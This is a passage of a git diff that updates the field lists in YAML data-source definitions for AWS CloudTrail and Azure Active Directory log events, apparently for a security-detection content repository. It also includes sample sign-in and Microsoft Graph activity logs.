+95,6 @@ fields: - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_setdefaultpolicyversion.yml b/data_sources/aws_cloudtrail_setdefaultpolicyversion.yml index 83e554a5ca..08670e5c4b 100644 --- a/data_sources/aws_cloudtrail_setdefaultpolicyversion.yml +++ b/data_sources/aws_cloudtrail_setdefaultpolicyversion.yml @@ -20,29 +20,22 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dvc - errorCode + - errorMessage - eventCategory - eventID - eventName - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -52,12 +45,15 @@ fields: - product - punct - readOnly + - reason - recipientAccountId - region - requestID - requestParameters.policyArn - requestParameters.versionId - responseElements + - result + - result_id - signature - source - sourceIPAddress @@ -65,13 +61,19 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - status - tag - tag::eventtype - - timeendpos - - timestartpos + - timestamp - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -80,13 +82,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_stoplogging.yml b/data_sources/aws_cloudtrail_stoplogging.yml index de9423c9c5..bf1e0ca747 100644 --- a/data_sources/aws_cloudtrail_stoplogging.yml +++ b/data_sources/aws_cloudtrail_stoplogging.yml @@ -18,8 +18,8 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion - command - date_hour - date_mday @@ -60,6 +60,7 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - timeendpos - timestartpos @@ -67,6 +68,12 @@ fields: - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -75,13 +82,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_updateloginprofile.yml b/data_sources/aws_cloudtrail_updateloginprofile.yml index f62c9e6417..712eb24d2e 100644 --- a/data_sources/aws_cloudtrail_updateloginprofile.yml +++ b/data_sources/aws_cloudtrail_updateloginprofile.yml @@ -20,18 +20,10 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dvc - errorCode @@ -41,8 +33,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -64,13 +56,19 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - status - tag - tag::eventtype - - timeendpos - - timestartpos + - timestamp - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -79,13 +77,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_updatetrail.yml b/data_sources/aws_cloudtrail_updatetrail.yml index c609919c95..6650300110 100644 --- a/data_sources/aws_cloudtrail_updatetrail.yml +++ b/data_sources/aws_cloudtrail_updatetrail.yml @@ -19,8 +19,8 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion - command - date_hour - date_mday @@ -69,6 +69,7 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - timeendpos - timestartpos @@ -76,6 +77,12 @@ fields: - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -84,13 +91,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/azure_active_directory.yml b/data_sources/azure_active_directory.yml index 8cf3fced71..220119babb 100644 --- a/data_sources/azure_active_directory.yml +++ b/data_sources/azure_active_directory.yml @@ -8,6 +8,130 @@ description: All Azure Active Directory events source: Azure AD sourcetype: azure:monitor:aad separator: operationName + +fields: + - _time + - action + - additional_details + - additional_details_name + - additional_details_value + - app + - authentication_service + - callerIpAddress + - category + - change_type + - command + - correlationId + - dataset_name + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - description + - dest + - dest_type + - durationMs + - dvc + - eventtype + - host + - id + - identity + - index + - Level + - linecount + - location + - object + - object_attrs + - object_category + - object_id + - operationName + - operationVersion + - path_from_resourceId + - properties.activity + - properties.activityDateTime + - properties.activityDisplayName + - properties.additionalDetails{}.key + - properties.additionalDetails{}.value + - properties.additionalInfo + - properties.category + - properties.correlationId + - properties.crossTenantAccessType + - properties.detectedDateTime + - properties.detectionTimingType + - properties.homeTenantId + - properties.id + - properties.initiatedBy.user.displayName + - properties.initiatedBy.user.id + - properties.initiatedBy.user.ipAddress + - properties.initiatedBy.user.userPrincipalName + - properties.ipAddress + - properties.lastUpdatedDateTime + - properties.location.city + - properties.location.countryOrRegion + - properties.location.geoCoordinates.altitude + - properties.location.geoCoordinates.latitude + - properties.location.geoCoordinates.longitude + - properties.location.state + - properties.loggedByService + - properties.operationType + - properties.requestId + - properties.resourceTenantId + - properties.result + - properties.resultReason + - properties.riskDetail + - properties.riskEventType + - properties.riskLevel + - properties.riskState + - properties.riskType + - properties.source + - properties.targetResources{}.displayName + - properties.targetResources{}.id + - properties.targetResources{}.modifiedProperties{}.displayName + - properties.targetResources{}.modifiedProperties{}.newValue + - properties.targetResources{}.modifiedProperties{}.oldValue + - properties.targetResources{}.type + - properties.tokenIssuerType + - properties.userAgent + - properties.userDisplayName + - properties.userId + - properties.userPrincipalName + - properties.userType + - punct + - resourceId + - result + - result_id + - resultSignature + - severity + - signature + - signature_id + - source + - sourcetype + - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype + - tenantId + - time + - timeendpos + - timestartpos + - type + - user + - user_agent + - user_id + - user_name + - user_type + - vendor_account + - vendor_product + - vendor_region supported_TA: - name: Splunk Add-on for Microsoft Cloud Services url: https://splunkbase.splunk.com/app/3110 diff --git a/data_sources/azure_active_directory_add_app_role_assignment_to_service_principal.yml b/data_sources/azure_active_directory_add_app_role_assignment_to_service_principal.yml index 5ea501b2a5..e7d33a1661 100644 --- a/data_sources/azure_active_directory_add_app_role_assignment_to_service_principal.yml +++ b/data_sources/azure_active_directory_add_app_role_assignment_to_service_principal.yml @@ -20,7 +20,6 @@ supported_TA: version: 6.3.3 fields: - _time - - Level - additional_details - additional_details_name - additional_details_value @@ -44,6 +43,7 @@ fields: - id - identity - index + - Level - linecount - object_attrs - object_id @@ -57,34 +57,38 @@ fields: - properties.category - properties.correlationId - properties.id + - properties.identity - properties.initiatedBy.app.appId - properties.initiatedBy.app.displayName - properties.initiatedBy.app.servicePrincipalId - properties.initiatedBy.app.servicePrincipalName - properties.loggedByService + - properties.operationName - properties.operationType - properties.result + - properties.resultDescription - properties.resultReason + - properties.resultType - properties.targetResources{}.displayName - properties.targetResources{}.id - properties.targetResources{}.modifiedProperties{}.displayName - properties.targetResources{}.modifiedProperties{}.newValue - properties.targetResources{}.modifiedProperties{}.oldValue - properties.targetResources{}.type + - properties.tenantGeo + - properties.tenantId - properties.userAgent - punct - resourceId - result - - resultSignature - result_id + - resultSignature - signature - source - sourcetype - splunk_server - src_user_type - status - - tag - - tag::eventtype - tenantId - time - timeendpos diff --git a/data_sources/azure_active_directory_add_member_to_role.yml b/data_sources/azure_active_directory_add_member_to_role.yml index 3f30e5003c..8544970f9e 100644 --- a/data_sources/azure_active_directory_add_member_to_role.yml +++ b/data_sources/azure_active_directory_add_member_to_role.yml @@ -20,10 +20,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -32,14 +38,27 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName + - properties.additionalDetails{}.key + - properties.additionalDetails{}.value - properties.category - properties.correlationId - properties.id @@ -61,14 +80,29 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user diff --git a/data_sources/azure_active_directory_add_owner_to_application.yml b/data_sources/azure_active_directory_add_owner_to_application.yml index 0d1814a1fb..d6ff3f12d0 100644 --- a/data_sources/azure_active_directory_add_owner_to_application.yml +++ b/data_sources/azure_active_directory_add_owner_to_application.yml @@ -20,10 +20,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -32,13 +38,23 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -64,16 +80,31 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status - tag - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user diff --git a/data_sources/azure_active_directory_add_service_principal.yml b/data_sources/azure_active_directory_add_service_principal.yml index 1056b51476..d38625d428 100644 --- a/data_sources/azure_active_directory_add_service_principal.yml +++ b/data_sources/azure_active_directory_add_service_principal.yml @@ -20,9 +20,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value + - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -31,12 +38,24 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id + - identity - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -44,6 +63,10 @@ fields: - properties.category - properties.correlationId - properties.id + - properties.initiatedBy.app.appId + - properties.initiatedBy.app.displayName + - properties.initiatedBy.app.servicePrincipalId + - properties.initiatedBy.app.servicePrincipalName - properties.initiatedBy.user.displayName - properties.initiatedBy.user.id - properties.initiatedBy.user.ipAddress @@ -61,14 +84,32 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id + - resultDescription - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user diff --git a/data_sources/azure_active_directory_add_unverified_domain.yml b/data_sources/azure_active_directory_add_unverified_domain.yml index 05ae6170ff..2a9cd852c8 100644 --- a/data_sources/azure_active_directory_add_unverified_domain.yml +++ b/data_sources/azure_active_directory_add_unverified_domain.yml @@ -20,10 +20,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -32,12 +38,24 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id + - object_path - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -61,14 +79,31 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user diff --git a/data_sources/azure_active_directory_consent_to_application.yml b/data_sources/azure_active_directory_consent_to_application.yml index 9d099b746f..8899b977d7 100644 --- a/data_sources/azure_active_directory_consent_to_application.yml +++ b/data_sources/azure_active_directory_consent_to_application.yml @@ -20,10 +20,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -32,13 +38,23 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -63,17 +79,32 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultDescription - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status - tag - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user diff --git a/data_sources/azure_active_directory_disable_strong_authentication.yml b/data_sources/azure_active_directory_disable_strong_authentication.yml index bb9c0cdbc0..43c45b2877 100644 --- a/data_sources/azure_active_directory_disable_strong_authentication.yml +++ b/data_sources/azure_active_directory_disable_strong_authentication.yml @@ -19,8 +19,8 @@ supported_TA: version: 6.3.3 fields: - _time - - Level - category + - command - correlationId - date_hour - date_mday @@ -30,12 +30,21 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object_attrs + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.category @@ -59,14 +68,26 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src_user + - src_user_name + - src_user_type + - status - tenantId - time - timeendpos - timestartpos + - user + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user diff --git a/data_sources/azure_active_directory_enable_account.yml b/data_sources/azure_active_directory_enable_account.yml index 8d5fac1a5e..79d242ff8c 100644 --- a/data_sources/azure_active_directory_enable_account.yml +++ b/data_sources/azure_active_directory_enable_account.yml @@ -19,10 +19,13 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -31,12 +34,23 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.category @@ -60,14 +74,30 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user diff --git a/data_sources/azure_active_directory_invite_external_user.yml b/data_sources/azure_active_directory_invite_external_user.yml index 047ac126b8..6fde0ecac3 100644 --- a/data_sources/azure_active_directory_invite_external_user.yml +++ b/data_sources/azure_active_directory_invite_external_user.yml @@ -19,10 +19,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -31,12 +37,23 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -59,14 +76,30 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user diff --git a/data_sources/azure_active_directory_microsoftgraphactivitylogs.yml b/data_sources/azure_active_directory_microsoftgraphactivitylogs.yml index 00f450cc02..3174742fdf 100644 --- a/data_sources/azure_active_directory_microsoftgraphactivitylogs.yml +++ b/data_sources/azure_active_directory_microsoftgraphactivitylogs.yml @@ -14,4 +14,77 @@ supported_TA: version: 6.3.3 fields: - _time + - callerIpAddress + - category + - command + - correlationId + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - dest_type + - durationMs + - host + - index + - level + - linecount + - location + - object_id + - operationName + - operationVersion + - path_from_resourceId + - properties.__UDI_RequiredFields_EventTime + - properties.__UDI_RequiredFields_RegionScope + - properties.__UDI_RequiredFields_TenantId + - properties.__UDI_RequiredFields_UniqueId + - properties.apiVersion + - properties.appId + - properties.C_Iat + - properties.C_Idtyp + - properties.clientAuthMethod + - properties.clientRequestId + - properties.durationMs + - properties.identityProvider + - properties.ipAddress + - properties.location + - properties.operationId + - properties.requestId + - properties.requestMethod + - properties.requestUri + - properties.responseSizeBytes + - properties.responseStatusCode + - properties.roles + - properties.scopes + - properties.signInActivityId + - properties.tenantId + - properties.timeGenerated + - properties.tokenIssuedAt + - properties.userAgent + - properties.userId + - properties.UserPrincipalObjectID + - properties.wids + - punct + - resourceId + - result + - result_id + - resultSignature + - signature + - source + - sourcetype + - splunk_server + - src + - src_ip + - status + - tenantId + - time + - timeendpos + - timestartpos + - user_id + - vendor_account + - vendor_product example_log: '{"time": "2024-04-30T01:22:46.4948958Z", "resourceId": "/TENANTS/225E05A1-5914-4688-A404-7030E60F3143/PROVIDERS/MICROSOFT.AADIAM", "operationName": "Microsoft Graph Activity", "operationVersion": "beta", "category": "MicrosoftGraphActivityLogs", "resultSignature": "200", "durationMs": "948894", "callerIpAddress": "45.83.145.6", "correlationId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "level": "Informational", "location": "East US 2", "properties": {"__UDI_RequiredFields_TenantId": "225e05a1-5914-4688-a404-7030e60f3143", "__UDI_RequiredFields_UniqueId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "__UDI_RequiredFields_EventTime": 638500369660000000, "__UDI_RequiredFields_RegionScope": "NA", "timeGenerated": "2024-04-30T01:22:46.4948958Z", "location": "East US 2", "requestId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "operationId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "clientRequestId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "apiVersion": "beta", "requestMethod": "GET", "responseStatusCode": 200, "tenantId": "225e05a1-5914-4688-a404-7030e60f3143", "durationMs": 948894, "responseSizeBytes": 91, "signInActivityId": "KRsphQ_4s0-oHv_Br8qSAQ", "roles": "", "appId": "1950a258-227b-4e31-a9cf-717495945fc2", "UserPrincipalObjectID": "7b934539-7366-494e-a8ac-3517694d32db", "scopes": "AuditLog.Read.All Directory.AccessAsUser.All email openid profile", "identityProvider": "", "clientAuthMethod": "0", "wids": "b79fbf4d-3ef9-4689-8143-76b194e85509", "C_Idtyp": "user", "C_Iat": "1714439850", "ipAddress": "45.83.145.6", "userAgent": "azurehound/v2.1.8", "requestUri": "https://graph.microsoft.com/beta/servicePrincipals/ffe3e001-d8cf-43a4-89ab-bfce35fd7786/owners?%24top=999", "userId": "7b934539-7366-494e-a8ac-3517694d32db", "tokenIssuedAt": "2024-04-30T01:17:30.0000000Z"}, "tenantId": "225e05a1-5914-4688-a404-7030e60f3143"}' diff --git a/data_sources/azure_active_directory_noninteractiveusersigninlogs.yml b/data_sources/azure_active_directory_noninteractiveusersigninlogs.yml index d945db01a4..3a1bcca57c 100644 --- a/data_sources/azure_active_directory_noninteractiveusersigninlogs.yml +++ b/data_sources/azure_active_directory_noninteractiveusersigninlogs.yml @@ -13,17 +13,11 @@ supported_TA: url: https://splunkbase.splunk.com/app/3110 version: 6.3.3 fields: - - action - - additional_details - - app - - authentication_method - - authentication_service + - _time - callerIpAddress - category - - change_type - command - correlationId - - dataset_name - date_hour - date_mday - date_minute @@ -32,37 +26,26 @@ fields: - date_wday - date_year - date_zone - - description - dest - dest_type - - duration - durationMs - - dvc - - enabled - - eventtype - host - - id - index - level - linecount - location - - object - - object_attrs - - object_category - object_id - - object_path - operationName - operationVersion - path_from_resourceId - - properties.C_Iat - - properties.C_Idtyp - - properties.UserPrincipalObjectID - properties.__UDI_RequiredFields_EventTime - properties.__UDI_RequiredFields_RegionScope - properties.__UDI_RequiredFields_TenantId - properties.__UDI_RequiredFields_UniqueId - properties.apiVersion - properties.appId + - properties.C_Iat + - properties.C_Idtyp - properties.clientAuthMethod - properties.clientRequestId - properties.durationMs @@ -75,7 +58,6 @@ fields: - properties.requestUri - properties.responseSizeBytes - properties.responseStatusCode - - properties.resultReason - properties.roles - properties.scopes - properties.signInActivityId @@ -84,54 +66,25 @@ fields: - properties.tokenIssuedAt - properties.userAgent - properties.userId + - properties.UserPrincipalObjectID - properties.wids - punct - - reason - resourceId - - response_time - result - - resultSignature - result_id - - severity + - resultSignature - signature - - signature_id - - signinDateTime - source - sourcetype - splunk_server - - splunk_server_group - src - src_ip - - src_user - - src_user_name - - src_user_type - status - - tag - - tag::action - - tag::app - - tag::eventtype - - tag::object_category - tenantId - time - timeendpos - timestartpos - - user - - user_agent - user_id - - user_name - - user_role - - user_type - vendor_account - vendor_product - - vendor_region - - _bkt - - _cd - - _eventtype_color - - _indextime - - _raw - - _serial - - _si - - _sourcetype - - _subsecond - - _time example_log: '{"time": "2023-01-12T19:22:14.5285742Z", "resourceId": "/tenants/95d19bda-09de-4d93-b7ae-acecd1e68186/providers/Microsoft.aadiam", "operationName": "Sign-in activity", "operationVersion": "1.0", "category": "NonInteractiveUserSignInLogs", "tenantId": "95d19bda-09de-4d93-b7ae-acecd1e68186", "resultType": "0", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "34.1.3.194", "correlationId": "fc78e38c-1e61-4be3-b47d-f3e6a9724a65", "identity": "User30", "Level": 4, "location": "US", "properties": {"id": "0f94f5fb-3583-4c46-9bfa-0390c1988800", "createdDateTime": "2023-01-12T19:22:14.5285742+00:00", "userDisplayName": "User30", "userPrincipalName": "user30@splunkresearch.com", "userId": "40b61050-e814-4ae5-8ffe-66b6f0c53998", "appId": "4765445b-32c6-49b0-83e6-1d93765276ca", "appDisplayName": "OfficeHome", "ipAddress": "34.1.3.194", "status": {"errorCode": 0, "additionalDetails": "MFA requirement satisfied by claim in the token"}, "clientAppUsed": "Browser", "deviceDetail": {"deviceId": "", "operatingSystem": "Windows", "browser": "Rich Client 4.43.0.0"}, "location": {"city": "Boardman", "state": "Oregon", "countryOrRegion": "US", "geoCoordinates": {"latitude": 45.73722839355469, "longitude": -119.81143188476562}}, "mfaDetail": {}, "correlationId": "fc78e38c-1e61-4be3-b47d-f3e6a9724a65", "conditionalAccessStatus": "notApplied", "appliedConditionalAccessPolicies": [{"id": "SecurityDefaults", "displayName": "Security Defaults", "enforcedGrantControls": [], "enforcedSessionControls": [], "result": "success", "conditionsSatisfied": 3, "conditionsNotSatisfied": 0}], "authenticationContextClassReferences": [], "originalRequestId": "0f94f5fb-3583-4c46-9bfa-0390c1988800", "isInteractive": false, "tokenIssuerName": "", "tokenIssuerType": "AzureAD", "authenticationProcessingDetails": [{"key": "Legacy TLS (TLS 1.0, 1.1, 3DES)", "value": "False"}, {"key": "Oauth Scope Info", "value": "[\"OfficeHome.All\"]"}, {"key": "Is CAE Token", "value": "False"}], "networkLocationDetails": [], "clientCredentialType": "none", "processingTimeInMilliseconds": 192, "riskDetail": "none", "riskLevelAggregated": "none", "riskLevelDuringSignIn": "none", "riskState": "none", "riskEventTypes": [], "riskEventTypes_v2": [], "resourceDisplayName": "OfficeHome", "resourceId": "4765445b-32c6-49b0-83e6-1d93765276ca", "resourceTenantId": "95d19bda-09de-4d93-b7ae-acecd1e68186", "homeTenantId": "95d19bda-09de-4d93-b7ae-acecd1e68186", "authenticationDetails": [{"authenticationStepDateTime": "2023-01-12T19:22:14.5285742+00:00", "authenticationMethod": "Previously satisfied", "succeeded": true, "authenticationStepResultDetail": "MFA requirement satisfied by claim in the token", "authenticationStepRequirement": "Primary authentication"}], "authenticationRequirementPolicies": [{"requirementProvider": "user", "detail": "Per-user MFA"}], "authenticationRequirement": "multiFactorAuthentication", "servicePrincipalId": "", "userType": "Member", "flaggedForReview": false, "isTenantRestricted": false, "autonomousSystemNumber": 16509, "crossTenantAccessType": "none", "privateLinkDetails": {}, "ssoExtensionVersion": "", "uniqueTokenIdentifier": "-_WUD4M1Rkyb-gOQwZiIAA", "authenticationStrengths": [], "incomingTokenType": "primaryRefreshToken", "authenticationProtocol": "none", "appServicePrincipalId": null, "resourceServicePrincipalId": null, "rngcStatus": 0}}' diff --git a/data_sources/azure_active_directory_reset_password_(by_admin).yml b/data_sources/azure_active_directory_reset_password_(by_admin).yml index 5290f93d7f..0452018473 100644 --- a/data_sources/azure_active_directory_reset_password_(by_admin).yml +++ b/data_sources/azure_active_directory_reset_password_(by_admin).yml @@ -19,10 +19,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -31,12 +37,23 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -59,15 +76,31 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultDescription - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user diff --git a/data_sources/azure_active_directory_set_domain_authentication.yml b/data_sources/azure_active_directory_set_domain_authentication.yml index 8e31d2ba70..864b54a231 100644 --- a/data_sources/azure_active_directory_set_domain_authentication.yml +++ b/data_sources/azure_active_directory_set_domain_authentication.yml @@ -19,9 +19,12 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - command - correlationId - date_hour - date_mday @@ -31,12 +34,21 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object_attrs + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -60,14 +72,29 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user diff --git a/data_sources/azure_active_directory_sign_in_activity.yml b/data_sources/azure_active_directory_sign_in_activity.yml index 9512febc42..ed78646483 100644 --- a/data_sources/azure_active_directory_sign_in_activity.yml +++ b/data_sources/azure_active_directory_sign_in_activity.yml @@ -19,10 +19,15 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - app + - authentication_method + - authentication_service - callerIpAddress - category + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -31,25 +36,33 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type + - duration - durationMs + - eventtype - host + - id - identity - index + - Level - linecount - location + - object_id - operationName - operationVersion + - path_from_resourceId - properties.alternateSignInName - properties.appDisplayName - properties.appId - properties.appServicePrincipalId - - properties.authenticationDetails{}.RequestSequence - - properties.authenticationDetails{}.StatusSequence - properties.authenticationDetails{}.authenticationMethod - properties.authenticationDetails{}.authenticationMethodDetail - properties.authenticationDetails{}.authenticationStepDateTime - properties.authenticationDetails{}.authenticationStepRequirement - properties.authenticationDetails{}.authenticationStepResultDetail + - properties.authenticationDetails{}.RequestSequence + - properties.authenticationDetails{}.StatusSequence - properties.authenticationDetails{}.succeeded - properties.authenticationProcessingDetails{}.key - properties.authenticationProcessingDetails{}.value @@ -64,6 +77,7 @@ fields: - properties.correlationId - properties.createdDateTime - properties.crossTenantAccessType + - properties.deviceDetail.browser - properties.deviceDetail.deviceId - properties.deviceDetail.operatingSystem - properties.flaggedForReview @@ -78,6 +92,7 @@ fields: - properties.location.geoCoordinates.latitude - properties.location.geoCoordinates.longitude - properties.location.state + - properties.mfaDetail.authMethod - properties.originalRequestId - 